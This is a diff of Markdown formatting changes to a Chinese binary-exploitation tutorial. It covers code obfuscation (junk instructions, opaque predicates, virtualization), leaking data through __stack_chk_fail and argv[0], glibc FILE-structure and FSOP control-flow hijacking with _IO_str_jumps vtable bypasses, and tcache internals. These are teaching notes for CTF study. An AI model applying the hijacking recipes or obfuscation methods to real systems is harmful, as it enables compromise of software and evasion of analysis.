shl eax, 10
|
||||
mov ax, 5678
|
||||
popfd
|
||||
```
|
||||
|
||||
`pushfd` 和 `popfd` 是为了保护 EFLAGS 寄存器不受变形后指令的影响。
|
||||
|
||||
继续替换:
|
||||
```
|
||||
|
||||
```text
|
||||
pushfd
|
||||
push 1234
|
||||
pop eax
|
||||
shl eax, 10
|
||||
mov ax 5678
|
||||
```
|
||||
|
||||
这样的结果就是简单的指令也可能会变成上百上千条指令,大大提高了理解的难度。
|
||||
|
||||
再看下面的例子:
|
||||
```
|
||||
|
||||
```text
|
||||
jmp {label}
|
||||
```
|
||||
|
||||
可以变成:
|
||||
```
|
||||
|
||||
```text
|
||||
push {label}
|
||||
ret
|
||||
```
|
||||
|
||||
而且 IDA 不能识别出这种 label 标签的调用结构。
|
||||
|
||||
指令:
|
||||
```
|
||||
|
||||
```text
|
||||
call {label}
|
||||
```
|
||||
|
||||
可以替换成:
|
||||
```
|
||||
|
||||
```text
|
||||
push {call指令后面的那个label}
|
||||
push {label}
|
||||
ret
|
||||
```
|
||||
|
||||
指令:
|
||||
```
|
||||
|
||||
```text
|
||||
push {op}
|
||||
```
|
||||
|
||||
可以替换成:
|
||||
```
|
||||
|
||||
```text
|
||||
sub esp, 4
|
||||
mov [esp], {op}
|
||||
```
|
||||
|
||||
下面我们来看看全局变形。对于下面的代码:
|
||||
```
|
||||
|
||||
```text
|
||||
mov eax, ebx
|
||||
mov ecx, eax
|
||||
```
|
||||
|
||||
因为两条代码具有关联性,在变形时需要综合考虑,例如下面这样:
|
||||
```
|
||||
|
||||
```text
|
||||
mov cx, bx
|
||||
mov ax, cx
|
||||
mov ch, bh
|
||||
mov ah, bh
|
||||
```
|
||||
|
||||
这种具有关联性的特定使得通过变形后的代码推导变形前的代码更加困难。
|
||||
|
||||
#### 花指令
|
||||
### 花指令
|
||||
|
||||
花指令就是在原始指令中插入一些虽然可以被执行但是没有任何作用的指令,它的出现只是为了扰乱分析,不仅是对分析者来说,还是对反汇编器、调试器来说。
|
||||
|
||||
来看个例子,原始指令如下:
|
||||
```
|
||||
|
||||
```text
|
||||
add eax, ebx
|
||||
mul ecx
|
||||
```
|
||||
|
||||
加入花指令之后:
|
||||
```
|
||||
|
||||
```text
|
||||
xor esi, 011223344h
|
||||
add esi, eax
|
||||
add eax, ebx
|
||||
@ -107,30 +133,38 @@ shl edx, 4
|
||||
mul ecx
|
||||
xor esi, ecx
|
||||
```
|
||||
|
||||
其中使用了源程序不会使用到的 esi 和 edx 寄存器。这就是一种纯粹的垃圾指令。
|
||||
|
||||
有的花指令用于干扰反汇编器,例如下面这样:
|
||||
```
|
||||
|
||||
```text
|
||||
01003689 50 push eax
|
||||
0100368A 53 push ebx
|
||||
```
|
||||
|
||||
加入花指令后:
|
||||
```
|
||||
|
||||
```text
|
||||
01003689 50 push eax
|
||||
0100368A EB 01 jmp short 0100368D
|
||||
0100368C FF53 6A call dword ptr [ebx+6A]
|
||||
```
|
||||
|
||||
乍一看似乎很奇怪,其实是加入因为加入了机器码 `EB 01 FF`,使得线性分析的反汇编器产生了误判。而在执行时,第二条指令会跳转到正确的位置,流程如下:
|
||||
```
|
||||
|
||||
```text
|
||||
01003689 50 push eax
|
||||
0100368A EB 01 jmp short 0100368D
|
||||
0100368C 90 nop
|
||||
0100368D 53 push ebx
|
||||
```
|
||||
|
||||
#### 扰乱指令序列
|
||||
### 扰乱指令序列
|
||||
|
||||
指令一般都是按照一定序列执行的,例如下面这样:
|
||||
```
|
||||
|
||||
```text
|
||||
01003689 push eax
|
||||
0100368A push ebx
|
||||
0100368B xor eax, eax
|
||||
@ -141,8 +175,10 @@ xor esi, ecx
|
||||
01003695 pop ebx
|
||||
01003696 pop eax
|
||||
```
|
||||
|
||||
指令序列看起来很清晰,所以扰乱指令序列就是要打乱这种指令的排列方式,以干扰分析者:
|
||||
```
|
||||
|
||||
```text
|
||||
01003689 push eax
|
||||
0100368A jmp short 01003694
|
||||
0100368C xor eax, eax
|
||||
@ -158,18 +194,23 @@ xor esi, ecx
|
||||
0100369F pop ebx
|
||||
010036A0 pop eax
|
||||
```
|
||||
|
||||
虽然看起来很乱,但真实的执行顺序没有改变。
|
||||
|
||||
#### 多分支
|
||||
### 多分支
|
||||
|
||||
多分支是指利用不同的条件跳转指令将程序的执行流程复杂化。与扰乱指令序列不同的时,多分支改变了程序的执行流。举个例子:
|
||||
```
|
||||
|
||||
```text
|
||||
01003689 push eax
|
||||
0100368A push ebx
|
||||
0100368B push ecx
|
||||
0100368C push edx
|
||||
```
|
||||
|
||||
变形如下:
|
||||
```
|
||||
|
||||
```text
|
||||
01003689 push eax
|
||||
0100368A je short 0100368F
|
||||
0100368C push ebx
|
||||
@ -178,10 +219,12 @@ xor esi, ecx
|
||||
01003690 push ecx
|
||||
01003691 push edx
|
||||
```
|
||||
|
||||
代码里加入了一个条件分支,但它究竟会不会触发我们并不关心。于是程序具有了不确定性,需要在执行时才能确定。但可以肯定的时,这段代码的执行结果和原代码相同。
|
||||
|
||||
再改进一下,用不同的代码替换分支处的代码:
|
||||
```
|
||||
|
||||
```text
|
||||
01003689 push eax
|
||||
0100368A je short 0100368F
|
||||
0100368C push ebx
|
||||
@ -192,11 +235,13 @@ xor esi, ecx
|
||||
01003694 push edx
|
||||
```
|
||||
|
||||
#### 不透明谓词
|
||||
### 不透明谓词
|
||||
|
||||
不透明谓词是指一个表达式的值在执行到某处时,对程序员而言是已知的,但编译器或静态分析器无法推断出这个值,只能在运行时确定。上面的多分支其实也是利用了不透明谓词。
|
||||
|
||||
下面的代码中:
|
||||
```
|
||||
|
||||
```text
|
||||
mov esi, 1
|
||||
... ; some code not touching esi
|
||||
dec esi
|
||||
@ -206,17 +251,20 @@ jz real_code
|
||||
; fake luggage
|
||||
real_code:
|
||||
```
|
||||
|
||||
假设我们知道这里 esi 的值肯定是 0,那么就可以在 fake luggage 处插入任意长度和复杂度的指令,以达到混淆的目的。
|
||||
|
||||
其它的例子还有(同样假设esi为0):
|
||||
```
|
||||
|
||||
```text
|
||||
add eax, ebx
|
||||
mul ecx
|
||||
add eax, esi
|
||||
```
|
||||
|
||||
#### 间接指针
|
||||
```
|
||||
### 间接指针
|
||||
|
||||
```text
|
||||
dummy_data1 db 100h dup (0)
|
||||
message1 db 'hello world', 0
|
||||
|
||||
@ -237,13 +285,14 @@ func proc
|
||||
...
|
||||
func endp
|
||||
```
|
||||
|
||||
这里通过 dummy_data 来间接地引用 message,但 IDA 就不能正确地分析到对 message 的引用。
|
||||
|
||||
|
||||
## 代码虚拟化
|
||||
|
||||
基于虚拟机的代码保护也可以算是代码混淆技术的一种,是目前各种混淆中保护效果最好的。简单地说,该技术就是通过许多模拟代码来模拟被保护的代码的执行,然后计算出与被保护代码执行时相同的结果。
|
||||
|
||||
```
|
||||
```text
|
||||
+------------+
|
||||
| 头部指令序列 | -------> | 代码虚拟机入口 |
|
||||
|------------| |
|
||||
@ -256,6 +305,7 @@ func endp
|
||||
| 尾部指令序列 | <------- | 代码虚拟机出口 |
|
||||
+------------+
|
||||
```
|
||||
|
||||
当原始指令执行到指令序列的开始处,就转入代码虚拟机的入口。此时需要保存当前线程的上下文信息,然后进入模拟执行阶段,该阶段是代码虚拟机的核心。有两种方案来保证虚拟机代码与原始代码的栈空间使用互不冲突,一种是在堆上开辟开辟新的空间,另一种是继续使用原始代码所使用的栈空间,这两种方案互有优劣,在实际中第二种使用较多。
|
||||
|
||||
对于怎样模拟原始代码,同样有两种方案。一种是将原本的指令序列转变为一种具有直接或者间接对应关系的,只有虚拟机才能理解的代码数据。例如用 `0` 来表示 `push`, 1 表示 `mov` 等。这种直接或间接等价的数据称为 opcode。另一种方案是将原始代码的意义直接转换成新的代码,类似于代码变形,这种方案基于指令语义,所以设计难度非常大。
|
||||
|
@ -6,13 +6,14 @@
|
||||
- [libc 2.25](#libc-2.25)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 回顾 canary
|
||||
|
||||
在章节 4.4 中我们已经知道了有一种叫做 canary 的漏洞缓解机制,用来判断是否发生了栈溢出。
|
||||
|
||||
这一节我们来看一下,在开启了 canary 的程序上,怎样利用 `__stack_chk_fail` 泄漏信息。
|
||||
|
||||
一个例子:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
void main(int argc, char **argv) {
|
||||
@ -24,7 +25,9 @@ void main(int argc, char **argv) {
|
||||
// argv[0] = "Hello World!";
|
||||
}
|
||||
```
|
||||
|
||||
我们先注释掉最后一行:
|
||||
|
||||
```text
|
||||
$ gcc chk_fail.c
|
||||
$ python -c 'print "A"*50' | ./a.out
|
||||
@ -32,19 +35,23 @@ argv[0]: ./a.out
|
||||
*** stack smashing detected ***: ./a.out terminated
|
||||
Aborted (core dumped)
|
||||
```
|
||||
|
||||
可以看到默认情况下 `argv[0]` 是指向程序路径及名称的指针,然后错误信息中打印出了这个字符串。
|
||||
|
||||
然后解掉注释再来看一看:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python -c 'print "A"*50' | ./a.out
|
||||
argv[0]: ./a.out
|
||||
*** stack smashing detected ***: Hello World! terminated
|
||||
Aborted (core dumped)
|
||||
```
|
||||
|
||||
由于程序中我们修改 `argv[0]`,此时错误信息就打印出了 `Hello World!`。是不是很神奇。
|
||||
|
||||
main 函数的反汇编结果如下:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ disassemble main
|
||||
Dump of assembler code for function main:
|
||||
0x00000000004005f6 <+0>: push rbp
|
||||
@ -77,11 +84,13 @@ Dump of assembler code for function main:
|
||||
0x0000000000400664 <+110>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
所以当 canary 检查失败的时候,即产生栈溢出,覆盖掉了原来的 canary 的时候,函数不能正常返回,而是执行 `__stack_chk_fail()` 函数,打印出 `argv[0]` 指向的字符串。
|
||||
|
||||
|
||||
## libc 2.23
|
||||
|
||||
Ubuntu 16.04 使用的是 libc-2.23,其 `__stack_chk_fail()` 函数如下:
|
||||
|
||||
```c
|
||||
// debug/stack_chk_fail.c
|
||||
|
||||
@ -94,7 +103,9 @@ __stack_chk_fail (void)
|
||||
__fortify_fail ("stack smashing detected");
|
||||
}
|
||||
```
|
||||
|
||||
调用函数 `__fortify_fail()`:
|
||||
|
||||
```c
|
||||
// debug/fortify_fail.c
|
||||
|
||||
@ -111,9 +122,11 @@ __fortify_fail (const char *msg)
|
||||
}
|
||||
libc_hidden_def (__fortify_fail)
|
||||
```
|
||||
|
||||
`__fortify_fail()` 调用函数 `__libc_message()` 打印出错误信息和 `argv[0]`。
|
||||
|
||||
还有一个错误信息输出到哪儿的问题,再看一下 `__libc_message()`:
|
||||
|
||||
```c
|
||||
// sysdeps/posix/libc_fatal.c
|
||||
|
||||
@ -139,17 +152,19 @@ __libc_message (int do_abort, const char *fmt, ...)
|
||||
if (fd == -1)
|
||||
fd = STDERR_FILENO;
|
||||
```
|
||||
|
||||
环境变量 `LIBC_FATAL_STDERR_` 通过函数 `__libc_secure_getenv` 来读取,如果该变量没有被设置或者为空,即 `\0` 或 `NULL`,错误信息 stderr 会被重定向到 `_PATH_TTY`,该值通常是 `/dev/tty`,因此会直接在当前终端打印出来,而不是传到 stderr。
|
||||
|
||||
|
||||
## CTF 实例
|
||||
|
||||
CTF 中就有这样一种题目,需要我们把 `argv[0]` 覆盖为 flag 的地址,并利用 `__stack_chk_fail()` 把flag 给打印出来。
|
||||
|
||||
实例可以查看章节 6.1.13 和 6.1.14。
|
||||
|
||||
|
||||
## libc 2.25
|
||||
|
||||
最后我们来看一下 libc-2.25 里的 `__stack_chk_fail`:
|
||||
|
||||
```c
|
||||
extern char **__libc_argv attribute_hidden;
|
||||
void
|
||||
@ -160,7 +175,9 @@ __stack_chk_fail (void)
|
||||
}
|
||||
strong_alias (__stack_chk_fail, __stack_chk_fail_local)
|
||||
```
|
||||
|
||||
它使用了新函数 `__fortify_fail_abort()`,这个函数是在 [BZ #12189](https://sourceware.org/git/?p=glibc.git;a=commit;h=ed421fca42fd9b4cab7c66e77894b8dd7ca57ed0) 这次提交中新增的:
|
||||
|
||||
```c
|
||||
extern char **__libc_argv attribute_hidden;
|
||||
|
||||
@ -189,16 +206,18 @@ __fortify_fail (const char *msg)
|
||||
libc_hidden_def (__fortify_fail)
|
||||
libc_hidden_def (__fortify_fail_abort)
|
||||
```
|
||||
|
||||
函数 `__fortify_fail_abort()` 在第一个参数为 `false` 时不再进行栈回溯,直接以打印出字符串 `<unknown>` 结束,也就没有办法输出 `argv[0]` 了。
|
||||
|
||||
就像下面这样:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python -c 'print("A"*50)' | ./a.out
|
||||
argv[0]: ./a.out
|
||||
*** stack smashing detected ***: <unknown> terminated
|
||||
Aborted (core dumped)
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Adventure with Stack Smashing Protector (SSP)](http://site.pi3.com.pl/papers/ASSP.pdf)
|
||||
|
@ -8,11 +8,12 @@
|
||||
- [CTF 实例](#ctf-实例)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## FILE 结构
|
||||
|
||||
FILE 结构体的利用是一种通用的控制流劫持技术。攻击者可以覆盖堆上的 FILE 指针使其指向一个伪造的结构,利用结构中一个叫做 `vtable` 的指针,来执行任意代码。
|
||||
|
||||
我们知道 FILE 结构被一系列流操作函数(`fopen()`、`fread()`、`fclose()`等)所使用,大多数的 FILE 结构体保存在堆上(stdin、stdout、stderr除外,位于libc数据段),其指针动态创建并由 `fopen()` 返回。在 glibc(2.23) 中,这个结构体是 `_IO_FILE_plout`,包含了一个 `_IO_FILE` 结构体和一个指向 `_IO_jump_t` 结构体的指针:
|
||||
|
||||
```c
|
||||
// libio/libioP.h
|
||||
|
||||
@ -59,7 +60,9 @@ struct _IO_FILE_plus
|
||||
|
||||
extern struct _IO_FILE_plus *_IO_list_all;
|
||||
```
|
||||
|
||||
`vtable` 指向的函数跳转表其实是一种兼容 C++ 虚函数的实现。当程序对某个流进行操作时,会调用该流对应的跳转表中的某个函数。
|
||||
|
||||
```c
|
||||
// libio/libio.h
|
||||
|
||||
@ -135,9 +138,11 @@ extern struct _IO_FILE_plus _IO_2_1_stdin_;
|
||||
extern struct _IO_FILE_plus _IO_2_1_stdout_;
|
||||
extern struct _IO_FILE_plus _IO_2_1_stderr_;
|
||||
```
|
||||
|
||||
进程中的 FILE 结构会通过 `_chain` 域构成一个链表,链表头部用全局变量 `_IO_list_all` 表示。
|
||||
|
||||
另外 `_IO_wide_data` 结构也是后面需要的:
|
||||
|
||||
```c
|
||||
/* Extra data for wide character streams. */
|
||||
struct _IO_wide_data
|
||||
@ -166,8 +171,10 @@ struct _IO_wide_data
|
||||
};
|
||||
```
|
||||
|
||||
### fopen
|
||||
|
||||
下面我们来看几个函数的实现。
|
||||
#### fopen
|
||||
|
||||
```c
|
||||
// libio/iofopen.c
|
||||
|
||||
@ -212,6 +219,7 @@ _IO_new_fopen (const char *filename, const char *mode)
|
||||
return __fopen_internal (filename, mode, 1);
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/fileops.c
|
||||
|
||||
@ -230,6 +238,7 @@ _IO_new_file_init (struct _IO_FILE_plus *fp)
|
||||
fp->file._fileno = -1;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/genops.c
|
||||
|
||||
@ -258,7 +267,8 @@ _IO_link_in (struct _IO_FILE_plus *fp)
|
||||
}
|
||||
```
|
||||
|
||||
#### fread
|
||||
### fread
|
||||
|
||||
```c
|
||||
// libio/iofread.c
|
||||
|
||||
@ -276,6 +286,7 @@ _IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
|
||||
return bytes_requested == bytes_read ? count : bytes_read / size;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/genops.c
|
||||
|
||||
@ -286,6 +297,7 @@ _IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
|
||||
return _IO_XSGETN (fp, data, n); // 调用宏 _IO_XSGETN
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/libioP.h
|
||||
|
||||
@ -306,7 +318,9 @@ _IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
|
||||
|
||||
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
|
||||
```
|
||||
|
||||
所以 `_IO_XSGETN` 宏最终会调用 `vtable` 中的函数,即:
|
||||
|
||||
```c
|
||||
// libio/fileops.c
|
||||
|
||||
@ -315,7 +329,8 @@ _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
|
||||
{
|
||||
```
|
||||
|
||||
#### fwrite
|
||||
### fwrite
|
||||
|
||||
```c
|
||||
// libio/iofwrite.c
|
||||
|
||||
@ -341,6 +356,7 @@ _IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
|
||||
return written / size;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/libioP.h
|
||||
|
||||
@ -348,7 +364,9 @@ _IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
|
||||
|
||||
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
|
||||
```
|
||||
|
||||
`_IO_XSPUTN` 最终将调用下面的函数:
|
||||
|
||||
```c
|
||||
// libio/fileops.c
|
||||
|
||||
@ -357,7 +375,8 @@ _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
|
||||
{
|
||||
```
|
||||
|
||||
#### fclose
|
||||
### fclose
|
||||
|
||||
```c
|
||||
// libio/iofclose.c
|
||||
|
||||
@ -415,14 +434,16 @@ _IO_new_fclose (_IO_FILE *fp)
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## FSOP
|
||||
|
||||
FSOP(File Stream Oriented Programming)是一种劫持 `_IO_list_all`(libc.so中的全局变量) 来伪造链表的利用技术,通过调用 `_IO_flush_all_lockp()` 函数来触发,该函数会在下面三种情况下被调用:
|
||||
|
||||
- libc 检测到内存错误时
|
||||
- 执行 exit 函数时
|
||||
- main 函数返回时
|
||||
|
||||
当 glibc 检测到内存错误时,会依次调用这样的函数路径:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW`。
|
||||
|
||||
```c
|
||||
// libio/genops.c
|
||||
|
||||
@ -480,15 +501,18 @@ _IO_flush_all_lockp (int do_lock)
|
||||
return result;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/libioP.h
|
||||
|
||||
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
|
||||
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
|
||||
```
|
||||
|
||||
于是在 `_IO_OVERFLOW(fp, EOF)` 的执行过程中最终会调用 `system('/bin/sh')`。
|
||||
|
||||
还有一条 FSOP 的路径是在关闭 stream 的时候:
|
||||
|
||||
```c
|
||||
// libio/iofclose.c
|
||||
|
||||
@ -545,17 +569,20 @@ _IO_new_fclose (_IO_FILE *fp)
|
||||
return status;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/libioP.h
|
||||
|
||||
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
|
||||
#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)
|
||||
```
|
||||
|
||||
于是在 `_IO_FINISH (fp)` 的执行过程中最终会调用 `system('/bin/sh')`。
|
||||
|
||||
|
||||
## libc-2.24 防御机制
|
||||
|
||||
但是在 libc-2.24 中加入了对 vtable 指针的检查。这个 [commit](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51) 新增了两个函数:`IO_validate_vtable` 和 `_IO_vtable_check`。
|
||||
|
||||
```c
|
||||
// libio/libioP.h
|
||||
|
||||
@ -576,6 +603,7 @@ IO_validate_vtable (const struct _IO_jump_t *vtable)
|
||||
return vtable;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/vtables.c
|
||||
|
||||
@ -615,12 +643,15 @@ _IO_vtable_check (void)
|
||||
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
|
||||
}
|
||||
```
|
||||
|
||||
所有的 libio vtables 被放进了专用的只读的 `__libc_IO_vtables` 段,以使它们在内存中连续。在任何间接跳转之前,vtable 指针将根据段边界进行检查,如果指针不在这个段,则调用函数 `_IO_vtable_check()` 做进一步的检查,并且在必要时终止进程。
|
||||
|
||||
|
||||
## libc-2.24 利用技术
|
||||
#### _IO_str_jumps
|
||||
|
||||
### _IO_str_jumps
|
||||
|
||||
在防御机制下通过修改虚表的利用技术已经用不了了,但同时出现了新的利用技术。既然无法将 vtable 指针指向 `__libc_IO_vtables` 以外的地方,那么就在 `__libc_IO_vtables` 里面找些有用的东西。比如 `_IO_str_jumps`(该符号在strip后会丢失):
|
||||
|
||||
```c
|
||||
// libio/strops.c
|
||||
|
||||
@ -648,12 +679,15 @@ const struct _IO_jump_t _IO_str_jumps libio_vtable =
|
||||
JUMP_INIT(imbue, _IO_default_imbue)
|
||||
};
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/libioP.h
|
||||
|
||||
#define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0)
|
||||
```
|
||||
|
||||
这个 vtable 中包含了一个叫做 `_IO_str_overflow` 的函数,该函数中存在相对地址的引用(可伪造):
|
||||
|
||||
```c
|
||||
int
|
||||
_IO_str_overflow (_IO_FILE *fp, int c)
|
||||
@ -685,6 +719,7 @@ _IO_str_overflow (_IO_FILE *fp, int c)
|
||||
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 在这个相对地址放上 system 的地址,即 system("/bin/sh")
|
||||
[...]
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/strfile.h
|
||||
|
||||
@ -706,7 +741,9 @@ typedef struct _IO_strfile_
|
||||
struct _IO_str_fields _s;
|
||||
} _IO_strfile;
|
||||
```
|
||||
|
||||
所以可以像下面这样构造:
|
||||
|
||||
- fp->_flags = 0
|
||||
- fp->_IO_buf_base = 0
|
||||
- fp->_IO_buf_end = (bin_sh_addr - 100) / 2
|
||||
@ -721,6 +758,7 @@ typedef struct _IO_strfile_
|
||||
与传统的 house-of-orange 不同的是,这种利用方法不再需要知道 heap 的地址,因为 `_IO_str_jumps` vtable 是在 libc 上的,所以只要能泄露出 libc 的地址就可以了。
|
||||
|
||||
在这个 vtable 中,还有另一个函数 `_IO_str_finish`,它的检查条件比较简单:
|
||||
|
||||
```c
|
||||
void
|
||||
_IO_str_finish (_IO_FILE *fp, int dummy)
|
||||
@ -732,11 +770,13 @@ _IO_str_finish (_IO_FILE *fp, int dummy)
|
||||
_IO_default_finish (fp, 0);
|
||||
}
|
||||
```
|
||||
|
||||
只要在 `fp->_IO_buf_base` 放上 "/bin/sh" 的地址,然后设置 `fp->_flags = 0` 就可以了绕过函数里的条件。
|
||||
|
||||
那么怎样让程序进入 `_IO_str_finish` 执行呢,`fclose(fp)` 是一条路,但似乎有局限。还是回到异常处理上来,在 `_IO_flush_all_lockp` 函数中是通过 `_IO_OVERFLOW` 执行的 `__GI__IO_str_overflow`,而 `_IO_OVERFLOW` 是根据 `__overflow` 相对于 `_IO_str_jumps` vtable 的偏移找到具体函数的。所以如果我们伪造传递给 `_IO_OVERFLOW(fp)` 的 fp 是 vtable 的地址减去 0x8,那么根据偏移,程序将找到 `_IO_str_finish` 并执行。
|
||||
|
||||
所以可以像下面这样构造:
|
||||
|
||||
- fp->_mode = 0
|
||||
- fp->_IO_write_ptr = 0xffffffff
|
||||
- fp->_IO_write_base = 0
|
||||
@ -746,8 +786,10 @@ _IO_str_finish (_IO_FILE *fp, int dummy)
|
||||
|
||||
完整的调用过程:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish`。
|
||||
|
||||
#### _IO_wstr_jumps
|
||||
### _IO_wstr_jumps
|
||||
|
||||
`_IO_wstr_jumps` 也是一个符合条件的 vtable,总体上和上面讲的 `_IO_str_jumps` 差不多:
|
||||
|
||||
```c
|
||||
// libio/wstrops.c
|
||||
|
||||
@ -777,6 +819,7 @@ const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
|
||||
```
|
||||
|
||||
利用函数 `_IO_wstr_overflow`:
|
||||
|
||||
```c
|
||||
_IO_wint_t
|
||||
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
|
||||
@ -814,6 +857,7 @@ _IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
|
||||
```
|
||||
|
||||
利用函数 `_IO_wstr_finish`:
|
||||
|
||||
```c
|
||||
void
|
||||
_IO_wstr_finish (_IO_FILE *fp, int dummy)
|
||||
@ -826,18 +870,19 @@ _IO_wstr_finish (_IO_FILE *fp, int dummy)
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## 最新动态
|
||||
|
||||
来自 glibc 的 master 分支上的一次 [commit](https://sourceware.org/git/?p=glibc.git;a=commit;h=4e8a6346cd3da2d88bbad745a1769260d36f2783),不出意外应该会出现在 libc-2.28 中。
|
||||
|
||||
该方法简单粗暴,用操作堆的 malloc 和 free 替换掉原来在 `_IO_str_fields` 里的 `_allocate_buffer` 和 `_free_buffer`。由于不再使用偏移,就不能再利用 `__libc_IO_vtables` 上的 vtable 绕过检查,于是上面的利用技术就都失效了。:(
|
||||
|
||||
|
||||
## CTF 实例
|
||||
|
||||
请查看章节 6.1.24、6.1.25 和 6.1.26。另外在章节 3.1.8 中也有相关内容。
|
||||
|
||||
附上偏移,构造时候方便一点:
|
||||
```
|
||||
|
||||
```text
|
||||
0x0 _flags
|
||||
0x8 _IO_read_ptr
|
||||
0x10 _IO_read_end
|
||||
@ -870,7 +915,7 @@ _IO_wstr_finish (_IO_FILE *fp, int dummy)
|
||||
0xd8 vtable
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/)
|
||||
- [Play with FILE Structure - Yet Another Binary Exploit Technique](https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique)
|
||||
|
@ -6,12 +6,14 @@
|
||||
- [CVE-2017-17426](#cve-2017-17426)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## tcache
|
||||
|
||||
tcache 全名 thread local caching,它为每个线程创建一个缓存(cache),从而实现无锁的分配算法,有不错的性能提升。libc-2.26 正式提供了该机制,并默认开启,具体可以查看这次 [commit](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc)。
|
||||
|
||||
#### 数据结构
|
||||
### 数据结构
|
||||
|
||||
glibc 在编译时使用 `USE_TCACHE` 条件来开启 tcache 机制,并定义了下面一些东西:
|
||||
|
||||
```c
|
||||
#if USE_TCACHE
|
||||
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */
|
||||
@ -37,9 +39,11 @@ glibc 在编译时使用 `USE_TCACHE` 条件来开启 tcache 机制,并定义
|
||||
# define TCACHE_FILL_COUNT 7
|
||||
#endif
|
||||
```
|
||||
|
||||
值得注意的比如每个线程默认使用 64 个单链表结构的 bins,每个 bins 最多存放 7 个 chunk。chunk 的大小在 64 位机器上以 16 字节递增,从 24 到 1032 字节。32 位机器上则是以 8 字节递增,从 12 到 512 字节。所以 tcache bin 只用于存放 non-large 的 chunk。
|
||||
|
||||
然后引入了两个新的数据结构,`tcache_entry` 和 `tcache_perthread_struct`:
|
||||
|
||||
```c
|
||||
/* We overlay this structure on the user-data portion of a chunk when
|
||||
the chunk is stored in the per-thread cache. */
|
||||
@ -61,9 +65,11 @@ typedef struct tcache_perthread_struct
|
||||
|
||||
static __thread tcache_perthread_struct *tcache = NULL;
|
||||
```
|
||||
|
||||
tcache_perthread_struct 包含一个数组 entries,用于放置 64 个 bins,数组 counts 存放每个 bins 中的 chunk 数量。每个被放入相应 bins 中的 chunk 都会在其用户数据中包含一个 tcache_entry(FD指针),指向同 bins 中的下一个 chunk,构成单链表。
|
||||
|
||||
tcache 初始化操作如下:
|
||||
|
||||
```c
|
||||
static void
|
||||
tcache_init(void)
|
||||
@ -101,24 +107,28 @@ tcache_init(void)
|
||||
}
|
||||
```
|
||||
|
||||
#### 使用
|
||||
### 使用
|
||||
|
||||
触发在 tcache 中放入 chunk 的操作:
|
||||
|
||||
- free 时:在 fastbin 的操作之前进行,如果 chunk size 符合要求,并且对应的 bins 还未装满,则将其放进去。
|
||||
```c
|
||||
#if USE_TCACHE
|
||||
|
||||
```c
|
||||
#if USE_TCACHE
|
||||
{
|
||||
size_t tc_idx = csize2tidx (size);
|
||||
|
||||
if (tcache
|
||||
&& tc_idx < mp_.tcache_bins
|
||||
&& tcache->counts[tc_idx] < mp_.tcache_count)
|
||||
&& tc_idx < mp_.tcache_bins
|
||||
&& tcache->counts[tc_idx] < mp_.tcache_count)
|
||||
{
|
||||
tcache_put (p, tc_idx);
|
||||
return;
|
||||
tcache_put (p, tc_idx);
|
||||
return;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
```
|
||||
#endif
|
||||
```
|
||||
|
||||
- malloc 时:有三个地方会触发。
|
||||
- 如果从 fastbin 中成功返回了一个需要的 chunk,那么对应 fastbin 中的其他 chunk 会被放进相应的 tcache bin 中,直到上限。需要注意的是 chunks 在 tcache bin 的顺序和在 fastbin 中的顺序是反过来的。
|
||||
|
||||
@ -148,7 +158,9 @@ tcache_init(void)
|
||||
}
|
